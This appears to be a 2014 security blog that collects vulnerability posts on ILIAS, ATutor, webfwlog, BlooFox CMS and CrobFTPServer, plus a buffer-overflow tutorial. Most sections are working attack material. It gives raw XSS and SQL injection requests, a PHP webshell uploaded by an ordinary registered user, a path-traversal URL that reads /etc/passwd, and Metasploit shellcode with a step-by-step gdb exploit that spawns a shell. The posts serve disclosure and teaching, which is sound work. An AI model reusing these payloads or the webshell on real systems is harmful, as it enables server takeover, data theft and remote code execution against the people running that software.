[EN] ILIAS 4.4.1 Cross Site Scripting / Shell Upload

In latest ILIAS I found few interesting bugs. Beside XSS's one of my favourite was
that bug, when if www-some-site has open registration, normal registered user is able to
upload shell in PHP. ;)

Below you will find what and where you can check, but You can read more about it also here.
 

# ==============================================================
# Title ...| Multiple vulnerabilities in ILIAS
# Version .| ilias-4.4.1.zip
# Date ....| 21.02.2014
# Found ...| HauntIT Blog
# Home ....| www.ilias.de
# ==============================================================

First from admin user logged in:

# ==============================================================
# 1. Persistent xss

---<request>---

POST /k/cms/ilias/ilias.php?wsp_id=2&cmd=post&cmdClass=ilobjbloggui&cmdNode=mw:my:ma&baseClass=
ilPersonalDesktopGUI&fallbackCmd=createPosting&rtoken=6bac7751a71721f25adb9e579dea4344 HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 91

title=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&cmd%5BcreatePosting%5D=Add+Posting
---<request>---


# ==============================================================
# 2. Possibility of uploading webshell
Uploaded file can be found in the ILIAS directories, for example:
---<code>---
k@lab:~/public_html/cms/ilias$ cat ./44444/ilFile/3/file_334/001/shell.php
<?php system($_REQUEST['cmd']); ?>
k@lab:~/public_html/cms/ilias$
---<code>---

Direct access to this file will give you a webshell.

* 
* This bug will be described later in section for 'normal/registered' user.
* 


# ==============================================================
# 3. XSS

---<request>---
POST /k/cms/ilias/ilias.php?ref_id=1&new_type=webr&cmd=post&cmdClass=ilobjlinkresourcegui&
cmdNode=nm:9y&baseClass=ilRepositoryGUI&rtoken=6bac7751a71721f25adb9e579dea4344 HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 760

tar_mode=ext&tar='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&tar_val=%3Cdiv+id%3D%22tar_value
%22%3E%0D%0A%09%0D%0A%3C%2Fdiv%3E%09%0D%0A%3Cdiv+class%3D%22small%22%3E%0D%0A%09%3Ca+id%3D%
22tar_ajax%22+class%3D%22iosEditInternalLinkTrigger%22+href%3D%22ilias.php%3Fref_id%3D1%26n
ew_type%3Dwebr%26postvar%3Dtar%26cmdClass%3Dilinternallinkgui%26cmdNode%3Dnm%3A9y%3A3l%3A3z
%3A3s%3Ai1%26baseClass%3DilRepositoryGUI%26cmdMode%3Dasynch%22%3E%26raquo%3B+Select+Target+
Object%3C%2Fa%3E%0D%0A%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22small++ilNoDisplay%22+id%3D%22tar
_rem%22%3E%0D%0A%09%3Ca+class%3D%22ilLinkInputRemove%22+href%3D%22%23%22%3E%26raquo%3B+Remo
ve%3C%2Fa%3E%0D%0A%3C%2Fdiv%3E&tar_ajax_type=&tar_ajax_id=&tar_ajax_target=&tit=asdasd&des=
asdasd&cmd%5Bsave%5D=Add+Weblink

---<request>---

---<response>---

Target: <span class="asterisk">*</span><br />
      
<input type="text" name="links[4][tar]" value="'>"><body/onload=alert(9999)>" size="40" 
maxlength="500" />
      
---<response>---




# ==============================================================
# 4. Another webshell upload possibility

There is a possibility of creating webshell when php file is added as an attachement
to email to user(s).


All shells will be located in /ilias/ (wwwroot) directory with value from 'client_id'
(for example: client_id=44444, then your shell is in /ilias/44444/...)



# ==============================================================

Second: from normal/registered user logged in:

# ==============================================================
# 1. When normal user is registered on the latest ILIAS, he is able to add
PHP file contains simple shell. From this moment he will be able to hack 
the whole server.

---<request>---
POST /k/cms/ilias/ilias.php?wsp_id=41&new_type=file&cmd=post&cmdClass=
ilobjfilegui&cmdNode=mw:my:jh&baseClass=ilPersonalDesktopGUI&fallbackC
md=uploadFiles&rtoken=2e4e8af720b2204ea51503ca6388a325 HTTP/1.1
Host: 10.149.14.62
(...)
Cache-Control: no-cache

-----------------------------1761332042190
Content-Disposition: form-data; name="title"

shell.php
-----------------------------1761332042190
Content-Disposition: form-data; name="description"


-----------------------------1761332042190
Content-Disposition: form-data; name="extract"

0
-----------------------------1761332042190
Content-Disposition: form-data; name="keep_structure"

0
-----------------------------1761332042190
Content-Disposition: form-data; name="upload_files"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_REQUEST['cmd']); ?>
-----------------------------1761332042190--

---<request>---


# ==============================================================
# 2. XSS (same place like when admin is logged in)


---<request>---
POST /k/cms/ilias/ilias.php?wsp_id=41&new_type=webr&cmd=post&cmdClass=ilobjlinkresource
gui&cmdNode=mw:my:9y&baseClass=ilPersonalDesktopGUI&rtoken=1561f316d721f9683b0ae5f0b652db25 HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 768

tar_mode=ext&tar='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&tar_val=%3Cdiv+id%3D%22
tar_value%22%3E%0D%0A%09%0D%0A%3C%2Fdiv%3E%09%0D%0A%3Cdiv+class%3D%22small%22%3E%0
D%0A%09%3Ca+id%3D%22tar_ajax%22+class%3D%22iosEditInternalLinkTrigger%22+href%3D%2
2ilias.php%3Fwsp_id%3D41%26new_type%3Dwebr%26postvar%3Dtar%26cmdClass%3Dilinternal
linkgui%26cmdNode%3Dmw%3Amy%3A9y%3A3l%3A3z%3A3s%3Ai1%26baseClass%3DilPersonalDeskt
opGUI%26cmdMode%3Dasynch%22%3E%26raquo%3B+Select+Target+Object%3C%2Fa%3E%0D%0A%3C%
2Fdiv%3E%0D%0A%3Cdiv+class%3D%22small++ilNoDisplay%22+id%3D%22tar_rem%22%3E%0D%0A%
09%3Ca+class%3D%22ilLinkInputRemove%22+href%3D%22%23%22%3E%26raquo%3B+Remove%3C%2F
a%3E%0D%0A%3C%2Fdiv%3E&tar_ajax_type=&tar_ajax_id=&tar_ajax_target=&tit=asdasd&des
=dsa&cmd%5Bsave%5D=Add+Weblink
---<request>---
 


# ==============================================================
# 3. Persistent xss

---<request>---
POST /k/cms/ilias/ilias.php?wsp_id=111&bmn=2014-02&cmd=post&cmdClass=ilobjbloggui&cmdNode=mw:my:ma&baseClass=ilPersonalDesktopGUI&fallbackCmd=createPosting&rtoken=1561f316d721f9683b0ae5f0b652db25 HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 89

title=%27%3E%22%3E%3Cbody%2Fonload%3Dalert%28123%29%3E&cmd%5BcreatePosting%5D=Add+Posting
---<request>---

[EN] ATutor 2.1.1 XSS

Last days I found few bugs in latest version of 2 popular webapplications. Both
you can find here but below you have detailed findings for latest ATutor (2.1.1).

# ==============================================================
# Title ...| ATutor Multiple vulnerabilities
# Version .| ATutor-2.1.1
# Date ....| 19.02.2014
# Found ...| HauntIT Blog
# Home ....| https://atutor.ca
# ==============================================================


# ==============================================================
# 1. During installation: xss and sql insertion:

---<request>---
POST /k/cms/atutor/ATutor/install/install.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 191

action=process&step=2&new_version=2.1.1&db_host=localhost&db_port=3306&db_login=root&db_password=superpass&db_name='%3e"%3e%3cscript%3ealert(1)%3c%2fscript%3e&tb_prefix=AT_&submit=Next+%BB+
---<request>---


---<response>---
<ul><li>Database <b>\'>\"><script>alert(1)</script></b> created successfully.
---<response>---

--> tb_prefix and new_version parameter are also vulnerable.


# ==============================================================
# 2. XSS

---<request>---
POST /k/cms/atutor/ATutor/install/install.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 667

action=process&form_admin_password_hidden=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8&form_account_password_hidden=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8&step=3&step2%5Bnew_version%5D='%3e"%3e%3cscript%3ealert(1)%3c%2fscript%3e&step2%5Bdb_host%5D=localhost&step2%5Bdb_port%5D=3306&step2%5Bdb_login%5D=root&step2%5Bdb_password%5D=superpass&step2%5Bdb_name%5D=atutor&step2%5Btb_prefix%5D=AT_&smtp=false&admin_username=admin&admin_password=&admin_email=admin%40here.com&site_name=Course+Server&email=admin%40here.com&just_social=0&home_url=&account_username=admin&account_password=&account_email=admin%40here.com&account_fname=admin&account_lname=admin&submit=+Next+%BB

---<request>---

Vulnerable to XSS are also parameters:
step2%5Bnew_version%5D
step2%5Bdb_host%5D
step2%5Bdb_port%5D
step2%5Bdb_login%5D
step2%5Bdb_password%5D
step2%5Bdb_name%5D
step2%5Btb_prefix%5D


# ==============================================================
# 3. Persistent XSS (from admin)

---<request>---
POST /k/cms/atutor/ATutor/mods/_standard/forums/admin/forum_add.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 108

add_forum=true&title='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&description=aaaaaaaaaaaaaa&edit=0&submit=Save
---<request>---

---<response>---
<span class="required" title="Required Field">*</span><label for="title">Title</label><br />
    <input type="text" name="title" size="40" id="title" value="'>"><body/onload=alert(9999)>" />
  </div>
---<response>---



# ==============================================================
# 4. Edit config (from admin user):

---<request>---
POST /k/cms/atutor/ATutor/admin/config_edit.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 946

site_name='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&home_url=http%3A%2F%2Fwww.atutorspaces.com&default_language=en&contact_email=admin%40here.com&time_zone=0&session_timeout=20&max_file_size=10485760&max_course_size=104857600&max_course_float=2097152&max_login=5&display_name_format=1&master_list=0&allow_registration=1&allow_browse=1&show_current=1&allow_instructor_registration=1&use_captcha=0&allow_unenroll=1&email_confirmation=0&allow_instructor_requests=1&disable_create=0&email_notification=1&auto_approve_instructors=0&theme_categories=0&user_notes=0&illegal_extentions=exe+asp+php+php3+bat+cgi+pl+com+vbs+reg+pcd+pif+scr+bas+inf+vb+vbe+wsc+wsf+wsh&cache_dir=&cache_life=7200&latex_server=http%3A%2F%2Fwww.atutor.ca%2Fcgi%2Fmimetex.cgi%3F&course_backups=5&sent_msgs_ttl=120&check_version=0&fs_versioning=1&old_enable_mail_queue=0&enable_mail_queue=0&auto_install_languages=0&pretty_url=0&course_dir_name=0&apache_mod_rewrite=0&submit=Save
---<request>---

If you have any questions, feel free to ask directly (via mail or comments).
 

Thanks ;) 

[EN] Two more publications

And here we go again ;)

In the "public" section here, you can find 2 more list to publication about
two webapplications tested last days: ILIAS and ATutor (in latest version of course).

If you have any questions, feel free to ask.
I will answer ASAP (as always;) ).

Cheers
o/

[EN] CrobFTPServer DoS

During fuzzing some old apps I found an interesting behavior of one of the FTP servers - CrobFTPServer.

When you will send to the server a "CD" command longer that 500 A's
the server will stop ;)

CrobFTP Server - DoS

 

 

Check it out ;)

It seems that there is more bugs;)

[EN] webfwlog-0.94 bugs

Last days I found 2 XSS in Webfwlog Firewall Log Analyzer.

1. XSS is here:

---<request>---
 GET /cms2/webfwlog-0.94/webfwlog/index.php?show_select_data_source="%3e%3cbody%2fonload%3dalert(3)%3e&restore=yes HTTP/1.1
Host: 10.149.14.58
(...)
Connection: close
---<request>---

Response should look like this:
---<response>---
<td align=left colspan="4">
<input type="hidden" name="show_select_data_source" value=""><body/onload=alert(3)>">
    <input type="submit" name="action" value="Select Data Source">
&nbsp;&nbsp;&nbsp;
---<response>---

2nd XSS is here:


---<request>--- 
POST /cms2/webfwlog-0.94/webfwlog/index.php HTTP/1.1
Host: 10.149.14.58
(...)
Content-Length: 173

page=home&report_order=Last+Accessed&show_select_data_source="%3e%3cbody%2fonload%3dalert(3)%3e&action=Select+Data+Source&ulog_table=&data_source=syslog&syslog_file=messages
---<request>---  


And response for this one:

---<response>---

<td align=left colspan="4">
<input type="hidden" name="show_select_data_source" value=""><body/onload=alert(3)>">
    <input type="submit" name="action" value="Select Data Source">
&nbsp;&nbsp;&nbsp;


---<response>---

So as we can see this is the same parameter use (but not filtered) in two places.

Anyway, cool code! ;)

[EN] BlooFox CMS 0.5.0 - Multiple vulnerabilities

Last days I saw that someone found few vulnerabilities in CMS I presented at my course.

I decide to check it again, and below you will find few informations about it ;)

Enjoy.

All vulnerabilities was found for admin user logged in. I didn't build the site ;)


1. Multiple XSS in error from MySQL:

Parameters:
lang_id, blocked, tmpl_id, urls, lang_id,  mod_rewrite,  meta_charset, 
meta_doctype, default_group, u1, u2, u7, u4, u30, u40, u8, u3, u5, u9, 
u20, status, group_id, page, backend, content, settings, permissions, 
tools, demo,object_w,object_d

Exaple request:
---<request>---
POST /k/bloofox/admin/index.php?mode=content&page=articles&action=new&page_id=0 HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 116

title=asdasd&text=asdasd&insert=top&blocked='"%3e%3cbody%2fonload%3dalert(3)%3e&startdate=&enddate=&send=Add+Article
---<request>---

And:
---<response>---
HTTP/1.1 200 OK
Date: Thu, 30 Jan 2014 12:46:16 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 448
Connection: close
Content-Type: text/html

</td></table><b>Database error:</b> Invalid SQL: INSERT INTO bfCMS_sys_content VALUES ('','','99965','','','asdasd','asdasd',''"><body/onload=alert(3)>','admin','1391085976','','','','')<br>
<b>MySQL Error</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"><body/onload=alert(3)>','admin','1391085976','','','','')' at line 1)<br>
<br>
Session halted.
---<response>---


2. CSRF (when adding project)
---<request>---POST /k/bloofox/admin/index.php?mode=settings&page=projects&action=new HTTP/1.1
Host:
(...)
Content-Length: 229

name=asdasd&lang_id=1&tmpl_id=1&urls=<CSRF_IS_POSSIBLE_HERE>&meta_title=asdasd&mod_rewrite=0&mail=&meta_copyright=&meta_desc=&meta_keywords=&meta_author=&meta_charset=ISO-8859-1&meta_doctype=XHTML+1.0+Transitional&default_group=1&send=Add+Project
---<request>---

3. Multiple SQL Injections

---<request>---
POST /k/bloofox/admin/index.php?mode=settings&page=projects&action=new HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 263

name=asdasd&lang_id='"%3e%3cbody%2fonload%3dalert(3)%3e&tmpl_id=1&urls=asdasd&meta_title=asdasd&mod_rewrite=0&mail=&meta_copyright=&meta_desc=&meta_keywords=&meta_author=&meta_charset=ISO-8859-1&meta_doctype=XHTML+1.0+Transitional&default_group=1&send=Add+Project
---<request>---


Or here:


---<request>---
POST /k/bloofox/admin/index.php?mode=content&page=articles&action=new&page_id=0 HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 116

title=asdasd&text=asdasd&insert=top&blocked='HERE&startdate=&enddate=&send=Add+Article
---<request>---

Or here:

---<request>---
POST /k/bloofox/admin/index.php?mode=settings&page=plugins&action=edit HTTP/1.1
Host: 10.149.14.77
(...)
Content-Length: 58

status='"%3e%3cbody%2fonload%3dalert(3)%3e&pid=1&send=Save
---<request>---


Parameters:
a) tmpl_id

---<code>---
./system/class_admincenter.php:119:            
$db->query("SELECT name FROM ".$tbl_prefix."sys_template WHERE tid = '".$tmpl_id."' ORDER BY tid");

---<code>---

b) urls

---<code>---
./admin/include/inc_settings_projects.php:130:                 
$db->query("UPDATE ".$tbl_prefix."sys_config SET urls = '".$_POST['urls']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");

---<code>---
c) lang_id

---<code>---
./system/class_admincenter.php:104:            
$db->query("SELECT name FROM ".$tbl_prefix."sys_lang WHERE lid = '".$lang_id."' ORDER BY lid");
---<code>---

d) mod_rewrite

---<code>---

./admin/include/inc_settings_projects.php:146:                 
$db->query("UPDATE ".$tbl_prefix."sys_config SET mod_rewrite = '".$_POST['mod_rewrite']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");

---<code>---

e) meta_charset

---<code>---

./admin/include/inc_settings_projects.php:142:                
$db->query("UPDATE ".$tbl_prefix."sys_config SET meta_charset = '".$_POST['meta_charset']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");

---<code>---

f) meta_doctype

---<code>---

./admin/include/inc_settings_projects.php:143:                
$db->query("UPDATE ".$tbl_prefix."sys_config SET meta_doctype = '".$_POST['meta_doctype']."' WHERE cid = '".$_POST['cid']."' LIMIT 1");

---<code>---

g) default_group

---<code>---
./plugins/register_form_simple/register.php:
121: $db2->query("SELECT name FROM ".$tbl_prefix."sys_usergroup WHERE gid = '".$sys_config_vars["default_group"]."' ORDER BY gid");

---<code>---

h) from 'u1' to 'u11' and also u20,u30,u40 parametersŁ
---<code>---
k@lab:~/public_html/bloofox$ grep -n -r -e "UPDATE" ./ | grep "sys_setting SET setting_value =" | grep POST
./admin/include/inc_settings_general.php:27:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u1']."' WHERE sid = '1' LIMIT 1");
./admin/include/inc_settings_general.php:28:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u2']."' WHERE sid = '2' LIMIT 1");
./admin/include/inc_settings_general.php:29:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u3']."' WHERE sid = '3' LIMIT 1");
./admin/include/inc_settings_general.php:30:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u4']."' WHERE sid = '4' LIMIT 1");
./admin/include/inc_settings_general.php:31:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u5']."' WHERE sid = '5' LIMIT 1");
./admin/include/inc_settings_general.php:35:                    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u6']."' WHERE sid = '6' LIMIT 1");
./admin/include/inc_settings_general.php:41:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u7']."' WHERE sid = '7' LIMIT 1");
./admin/include/inc_settings_general.php:42:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u8']."' WHERE sid = '8' LIMIT 1");
./admin/include/inc_settings_general.php:43:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u9']."' WHERE sid = '9' LIMIT 1");
./admin/include/inc_settings_general.php:47:                    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u10']."' WHERE sid = '10' LIMIT 1");
./admin/include/inc_settings_general.php:57:                    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u12']."' WHERE sid = '12' LIMIT 1");
./admin/include/inc_settings_general.php:65:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u20']."' WHERE sid = '20' LIMIT 1");
./admin/include/inc_settings_general.php:66:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u30']."' WHERE sid = '30' LIMIT 1");
./admin/include/inc_settings_general.php:67:    $db->query("UPDATE ".$tbl_prefix."sys_setting SET setting_value = '".$_POST['u40']."' WHERE sid = '40' LIMIT 1");
k@lab:~/public_html/bloofox$
---<code>---

i) status
---<code>---
./admin/include/inc_user_user.php:
434:          $db->query("SELECT uid FROM ".$tbl_prefix."sys_user WHERE status LIKE '".$_SESSION["filter_user"]."'");

./admin/include/inc_user_user.php:
442:          $db->query("SELECT * FROM ".$tbl_prefix."sys_user WHERE status LIKE '".$_SESSION["filter_user"]."' ORDER BY uid LIMIT ".$start.",".$limit."");

---<code>---

j) pid
---<code>---
./admin/include/inc_settings_plugins.php:
137:           $db->query("SELECT pid,name,status FROM ".$tbl_prefix."sys_plugin WHERE pid = '".$_GET['pid']."' ORDER BY pid LIMIT 1");
---<code>---   

Also:
backend, content, settings, permissions, tools, demo, object_w,object_d





4. Local file include:
http://ip/k/bloofox/admin/index.php?mode=settings&page=editor&fileurl=../../../../../../../../../../../../../../etc/passwd



Code:
---
k@lab:~/public_html/bloofox$ cat -n admin/include/inc_settings_editor.php |less
(...)

    60  if(isset($_GET["fileurl"])) {
    61          $fileurl = "../".$_GET["fileurl"];    [1]
    62  }
    63
    64  if(file_exists($fileurl)) {
    65          $filelength = filesize($fileurl);
    66          $readfile = fopen($fileurl,"r");    [2]
    67          $file = fread($readfile,$filelength);
    68          fclose($readfile);
    69  }

(...)
---


5. XSS over GEThttp://10.149.14.77/k/bloofox/admin/index.php?mode=settings&page=editor&fileurl='><body onload=alert(1)>
And so on... ;)

I suggest zou to read this source.
It is really interesting. ;)

[EN] Simple Machine Forum (SMF) 2.0.7 - XSS

In latest version of SMF I found a tricky XSS vulnerability.

As the vendor said, this is a low priority, because it can be exploited
only when admin user is logged in.

Post will be updated after patch release (in new version).

[EN] PrestaShop 1.5.6.2 - Multiple bugs

Last days I started to check code of latest PrestaShop and I found few vulnerabilities
in code.

Post will be updated as soon as vendor will answer, what does he think about it.

[EN] osCommerce 3.0.2 - Multiple XSS

In latest version of osCommerce (3.x line) I found few XSS bugs.

As they are only exploitable when admin user is logged in,
Support of osCommerce said that this is low priority bug.

It will not be published until patch release.

By the way I must say that Support Team was very fast in reply for my message,
so big plus guys! ;)

[EN] Buffer overflows - my short review

Document was created to consolidate knowledge about buffer overflows.

1. Why exploit is not working on the modern system(s)?

Because of development of new programs, systems and protections attackers
are working on new techniques to bypass those protections.

2. What to do to check what security settings we have at our system?

In the machine like mine (Debian 7, with `uname`:
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux)

we can do it in a few ways, for example:

a) ldd - print shared library dependencies

Typing:
$ ldd <ourprog>
few times, we can check if addresses in memory have changed. It will help
us to specify if in our system we have enabled so called ASLR(1).

b) we can also check if ASLR is enabled by default by reading the value
from 'randomize_va_space' file:
 
$ cat /proc/sys/kernel/randomize_va_space

Any other value than 0 tells us that addresses will be changed.

In case of learning process it's good to change this (default) value
to zero. We can do it by:
# echo "0" > /proc/sys/kernel/randomize_va_space

c) Tobias Klein(2) wrote a nice tool to check what security setting
was added to our binary. This tool you can find at his page(2).

3. Where can we start?

We can start everywhere where we will find a computer. ;)

Better question is: what we should know to start understanding,
not only rewriting examples from books and articles.

So, a short list:
-- programming in C (you not need to be 'ace', you need only few
chapters from any book about C where you will find information about:
arrays, pointers, receiving and displaying characters and probably few
things about memory management).

-- programming in Python - because many tools (for example fuzzers) can
be created really fast.(3)

-- ASM - the magic and the scare, super difficult and super easy at the
same time. In my case the best idea to learn this, was a paper and pen (4)
and writting names of registers (for example Intel's), what they means and
for what we can use them. Nice idea to memorization.

Next step is getting used to all super-magic shortcuts like add, movl, call
and so on. (You can write it down too. The more you practice, the better.)

-- if it's still not enough for you, good start should be also:
$ man gcc
(try here (5)) and check what (changes and) options are available during
the compilation (what will be usefull to understand what protections
you can disable at the compilation stage.)

4. Example

We will need some example vulnerable to attack.

At my blog I decide to write about few cases how to exploit RCE
in webapps (6) so in a similar way we will try to find a vulnerable
example in C language.

https://github.com/search?q=extension%3AC+strcpy%28argv[1]%29&ref=cmdform

Searching in this way we will find few examples of 'lessons' described
by someone else. We will use this examples. First answer for our search
query is a program called 'vulnerable.c':

---<code>---
void main(int argc, char *argv[])
{
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
---<code>---

Making sure, that "randomize_va_space" file has value '0', we will compile(7)
our vulnerable program:

* -ggdb - "Produce debugging information for use by GDB"
* -g     - "Produce debugging information in the operating system's native format"
* -fno-stack-protector - disables the protection

k@debian:~/src/bugz$ gcc vulnerable.c -o vulnerable -ggdb -g -fno-stack-protector

We will fill the buffer of our program, to overflow it.

$ gdb -q ./vulnerable
(gdb) r `perl -e 'print "A"x524,"B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/k/src/bugz/vulnerable `perl -e 'print "A"x524,"B"x4'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Ok. Program crashed.

No we will get a shellcode (from Metasploit from BackTrack5(8)).
To get on, we will use 'msfpayload':

root@bt:/pentest/exploits/framework3# msfpayload linux/x86/exec CMD=dash R |
msfencode -a x86 -e x86/alpha_mixed -b "\x00\x0a\x0d" -t c
[*] x86/alpha_mixed succeeded with size 142 (iteration=1)

unsigned char buf[] =
"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x43\x5a\x56\x6b\x56\x38\x5a\x39\x43\x62\x45\x36\x43\x58\x56"
"\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51\x63\x50\x68"
"\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b"
"\x53\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34"
"\x51\x71\x50\x73\x50\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58"
"\x61\x58\x4d\x4f\x70\x41\x41";

Using this command we will have a shellcode ready to use as our buffer value.
To get this working we must remember that we will need to substract from
our 'overflow'-value (524*"A"), length of our shellcode (142 bytes in
this case).

To exploit this vulnerability we will need this kind of situation:
    [    A*382      ] + [ shellcode ]  + [ B*4 ]
   
to set EIP (instruction pointer, holds the program counter, current instruction
address) to our "BBBB" string.

So now in 'gdb' we will use this string:

(gdb) r `perl -e 'print "A"x382,"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a
\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42
\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x56\x6b\x56\x38\x5a\x39
\x43\x62\x45\x36\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51
\x63\x50\x68\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b\x53
\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34\x51\x71\x50\x73\x50
\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58\x61\x58\x4d\x4f\x70\x41\x41","B"x4'`

Our output should look like this:
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp esp
eip            0x42424242       0x42424242
ebp            0x4141704f       0x4141704f
esp            0xbffff540       0xbffff540

Ok. Now we must localize the beginning of our shellcode in memory:

(gdb) x/600wx $esp
(...)

0xbffff880:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff890:     0x41414141      0x41414141      0x41414141      0xc6d9e189
0xbffff8a0:     0x58f471d9      0x49495950      0x49494949      0x49494949
0xbffff8b0:     0x43434343      0x51374343      0x58416a5a      0x30413050
(...)

Ok. Let's check if the answer from gdb is the real one, which we want to
call by our overflow:

(gdb) x/s 0xbffff890
0xbffff890:      'A' <repeats 12 times>"\211, \341\331\306\331q\
364XPYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJICZVkV8Z9
CbE6CXVMRCLIZGCXToQcPhEPRHVOPbE9PnMYKSCbIxC5C0GpGpE4QqPsPhGpCgV3
LIXaXMOpAABBBB"

Almost good.

Instead of letter "A" we will use NOP ("no operation") instruction. It
will let us 'slide' to our address (where we want to return). Instead
of mentioned "B" value, let's use the value we've found before:

(gdb) r `perl -e 'print "\x90"x382,"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50
\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37
\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32
\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x56
\x6b\x56\x38\x5a\x39\x43\x62\x45\x36\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a
\x47\x43\x58\x54\x6f\x51\x63\x50\x68\x45\x50\x52\x48\x56\x4f\x50\x62\x45
\x39\x50\x6e\x4d\x59\x4b\x53\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47
\x70\x45\x34\x51\x71\x50\x73\x50\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58
\x61\x58\x4d\x4f\x70\x41\x41","\x90\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/k/src/bugz/vulnerable `perl -e 'print "\x90"x382,
"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49
\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30
\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50
\x38\x41\x42\x75\x4a\x49\x43\x5a\x56\x6b\x56\x38\x5a\x39\x43\x62\x45\x36
\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51\x63\x50\x68
\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b\x53\x43\x62
\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34\x51\x71\x50\x73\x50\x68
\x47\x70\x43\x67\x56\x33\x4c\x49\x58\x61\x58\x4d\x4f\x70\x41\x41",
"\x90\xf8\xff\xbf"'`
process 4336 is executing new program: /bin/dash
$ uname -a
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux
$

And that's all. Now we have exploited a buffer overflow vulnerability.

Thanks!



1) ASLR
    http://en.wikipedia.org/wiki/Address_space_layout_randomization
